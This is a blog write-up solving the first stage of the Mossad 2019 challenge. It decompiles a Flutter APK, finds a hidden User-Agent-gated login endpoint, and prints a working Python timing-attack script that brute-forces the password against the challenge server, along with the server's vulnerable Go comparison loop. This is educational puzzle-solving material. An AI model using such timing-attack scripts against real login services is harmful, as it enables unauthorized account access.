The Mossad 2019 Challenge - Part 1

The 4th Mossad’s challenge for Israel’s independence day begun in 8th of May, 2019. Like the previous challenges, it requires some research and some “out of the box” thinking. In the following article(s), I will go through all 3 challenges and explain my solutions.

The challenge begins in this URL: https://r-u-ready-4.it/

This picture is basically a binary pattern with the Mossad’s logo. If we convert them to decimal, we’ll get the 4 octets of presumably, an IP address.

00100011 = 35
11110110 = 246
10011110 = 158
00110011 = 51

After visiting 35.246.158.51, we’ll be redirected to the first challenge:

The webpage provides us with an .APK file. .APK (Android Package File) is the file extension for Android apps, and it’s in standard zip format. It’s important to not just extract the file like a zip, because it contains Android Binary XML files, which you would just need to decode manually. In this case we’ll use apktool to disassemble the APK.

After extracting the files, we’ll look at AndroidManifset.xml. This xml contains valuable information, such as the package name, permissions, and more.

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.iwalk.locksmither" platformBuildVersionCode="1" platformBuildVersionName="1.0.0">
    <uses-permission android:name="android.permission.INTERNET"/>
    <application android:data="look for us on github.com" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="LockSmither" android:name="io.flutter.app.FlutterApplication">
    [redacted for brevity]

We can see a few important hints here:

  1. The app uses the internet permissions. This is a strong hint that the app is contacting some remote server.
  2. The “look for us on github.com” hint.
  3. The app is a Flutter application. Flutter is Google’s mobile app SDK.
  4. The app is debuggable. That’s a strong hint this APK was built in debug mode, and we can extract code or important symbols from it.

A quick overview on Flutter.

Flutter is used to develop native apps. Flutter apps are developed in the Dart programming language - also developed by Google. When you build a Flutter app, the Dart kernel (“an intermediate language for Dart programs”) takes your Dart code and creates kernel bytecode. That bytecode is usually saved in the kernel_blob.bin file, which we’ll look at now.

In the assets/flutter_assets/ folder, we can find the kernel_blob file. By running strings on it, we can view the source code directly. Here’s an interesting portion of the code:

file:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/network_actions.dart
import 'dart:async';
import 'dart:convert';
import 'package:locksmither/network/network_wrapper.dart';
import 'package:locksmither/models/token.dart';
import 'package:locksmither/models/AuthURL.dart';
class NetworkActions {
  NetworkWrapper _netUtil = new NetworkWrapper();
  static const BASE_URL = "http://35.246.158.51:8070";
  static const LOGIN_URL = BASE_URL + "/auth/getUrl";
  Future<Token> login(String seed, String password) {
    var headers = new Map<String,String>();
      return _netUtil.get(LOGIN_URL, headers:headers).then((dynamic authUrl) {
      try {
        if (authUrl == null) {
          return Future<Token>.sync(() => new Token("", false, 0));
        }
        var loginUrl = BASE_URL + AuthURL.map(json.decode(authUrl.body)).url;
        Map<String,String> body = { "Seed": seed, "Password": password };
        Map<String,String> headers = {"content-type": "application/json"};
        return _netUtil.post(loginUrl,body: json.encode(body), headers:headers).then((dynamic token) {
                return Token.map(token);
              });
      } catch (e) {
        return Future<Token>.sync(() => new Token("", false, 0));
      }
      }).catchError((e) {
        return null;
      });

Looking at this code, we can infer that a request is being sent to http://35.246.158.51:8070/auth/getUrl to retrieve the authentication URL, and then an additional POST request is sent with a JSON containing a seed and a password.

Let’s try that:

root@beer:~# curl http://35.246.158.51:8070/auth/getUrl
{"AuthURL":"/auth/v2"}
root@beer:~# curl -d '{"Password":"password", "Seed":"test"}' -H "Content-Type: application/json" -X POST http://35.246.158.51:8070/auth/v2
{"IsValid":false,"LockURL":"","Time":142220}

Interesting. So what we know so far is that in order to authenticate, we need to give a valid seed and password. The server returns Time which is probably the time taken to process the request. The time hints that this server is vulnerable to a timing attack.

Timing attacks?

To put simply, these are attacks where the attacker analyzes the time taken to process something based on the input given. Let’s assume the server compares each character in the password, byte by byte in a loop, and breaks when a character is incorrect. This will mean that the more correct characters you have in the input, the longer the server takes to process your request. Then, you can bruteforce all characters and measure the time, and see which characters take longer - and you can assume they are correct.

So, after playing with the /auth/v2 endpoint for a while, I could see the returned time is pretty much inconsistent, and a timing attack wouldn’t work on this endpoint.

Let’s go back a bit, remember the “look for us on github” from the manifest? By searching for “iwalk” on github, we can find an interesting user: iwalk-locksmithers-app The user has a “server” repo which contains the source code for the server. By looking at the code, we can see that there’s an /auth/v1_1 endpoint available, only if we set our User-Agent header to ed9ae2c0-9b15-4556-a393-23d500675d4b! Let’s see if it’s working in the remote server:

root@beer:~/m2019/app/assets/flutter_assets# curl -H "User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b" http://35.246.158.51:8070/auth/getUrl
{"AuthURL":"/auth/v1_1"}
root@beer:~# curl -H "User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b" http://35.246.158.51:8070/auth/v1_1
{"IsValid":false,"LockURL":"","Time":6999}
root@beer:~# curl -H "User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b" http://35.246.158.51:8070/auth/v1_1
{"IsValid":false,"LockURL":"","Time":6608}

Let’s look at the password check code for the /auth/v1_1 endpoint:

for _, lock := range getLocks() {
		if loginData.Seed != lock.Seed {
			continue
		}

		currentIndex := 0
		for currentIndex < len(lock.Password) && currentIndex < len(loginData.Password) {
			if lock.Password[currentIndex] != loginData.Password[currentIndex] {
				break
			}
			//OG: securing against bruteforce attempts... ;-)
			time.Sleep(30 * time.Millisecond)
			currentIndex++
		}

		if currentIndex == len(lock.Password) {
			ret := getResponseToken(start, true, lock.Value)
			returnToken(w, ret)
			return
		}
	}

So it seems like the code sleeps for 30ms for every correct character we hit. Also, it checks the string up to the length of the password, so even if the password is “1234”, the password “123456” would work as well. We now know that we can perform a timing attack on this endpoint. However we still need the seed. Remember the beginning of the challenge where we were given a ‘client id’? We’ll use this as the seed.

import requests
import string
import operator
import sys

SEED = "e0399b34b74742bd96ec84d3102c88ad"
CHARSET = string.ascii_lowercase + string.digits
ENDPOINT = "http://35.246.158.51:8070/auth/v1_1"
HEADERS = {
	'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'
}

def main():
    current_password = ""
    current_milliseconds_time = 0
    while True:	
        for char in CHARSET:
            password = current_password + char
            json_data = {'Password': password, 'Seed': SEED}
            request = requests.post(ENDPOINT, json=json_data, headers=HEADERS)
            json_response = request.json()
            if json_response["IsValid"]:
                print(json_response)
                sys.exit(0)
            ms_difference = (json_response["Time"] / 1000000.0) - current_milliseconds_time
            if ms_difference > 25:
                current_password += char
                current_milliseconds_time = json_response["Time"] / 1000000.0
                break

        print("Current password: " + current_password)


if __name__ == '__main__':
    main()

In this example script, you bruteforce the password with the character set of lowercase letters and digits (originally I used all letters and special characters too, but I changed it after observing the pattern of the password). We convert the Time from nanoseconds to milliseconds, and add the character to the current_password if there’s a 25ms or more difference between the two.

root@beer:~# python3 script.py
Current password: a
Current password: a3
Current password: a39
Current password: a39d
[...]
Current password: a39dc4afebd2409f88528650841fd51
{u'IsValid': True, u'Time': 963367158, u'LockURL': u'http://3d375032374147a7865753e4bbc92682.xyz/95e32f2033464ae4a599f34d8215242f'}

Visiting the URL completes the challenge:

Yanir Tsarimi

Yanir Tsarimi

Security enthusiast, developer, and blogger (sometimes)

comments powered by Disqus
rss facebook twitter github gitlab youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora